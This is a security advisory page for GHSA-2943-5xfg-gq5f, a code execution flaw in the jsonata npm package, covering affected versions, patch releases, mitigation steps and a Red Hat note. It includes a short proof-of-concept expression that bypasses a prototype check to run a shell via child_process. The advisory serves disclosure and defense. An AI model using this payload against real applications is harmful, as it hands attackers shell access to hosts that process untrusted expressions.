GHSA-2943-5xfg-gq5f — jsonata
Fix: jsonata-js/jsonata#799GHSA-2943-5xfg-gq5f is a Code Injection vulnerability in jsonata. A fix is available for jsonata — see the affected versions and patch details below.
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2943-5xfg-gq5f.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
jsonatanpmDescription
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to a bypassable hasOwnProperty check in
environment.lookup
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$__proto__ := $constructor;
$constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);
await expression.evaluate({});
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | jsonata | ≥ 2.0.0&&< 2.2.1 | 2.2.1npm install jsonata@2.2.1 |
| 📦npm | jsonata | all versions | 1.8.8npm install jsonata@1.8.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jsonata, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update jsonata to 2.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2943-5xfg-gq5f is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Critical flaw in JSONata allows arbitrary code execution when processing specially crafted JSONata expressions. Red Hat products, such as OpenShift Serverless, Konflux, and Red Hat Developer Hub, that utilize JSONata for data transformation or query processing are affected if they handle untrusted input…
To mitigate this Critical vulnerability, ensure that all JSONata expressions processed by Red Hat products are sourced exclusively from trusted origins. Avoid processing untrusted or unvalidated JSONata expressions. If processing untrusted input is unavoidable, it must be performed within a strictly isolated and sandboxed environment to contain potential arbitrary code execution and limit its impact on the host system.Source: Red Hat security advisory for GHSA-2943-5xfg-gq5f (CC BY 4.0)
Frequently Asked Questions
Is GHSA-2943-5xfg-gq5f in your dependencies?
Find it across npm, including transitive dependencies.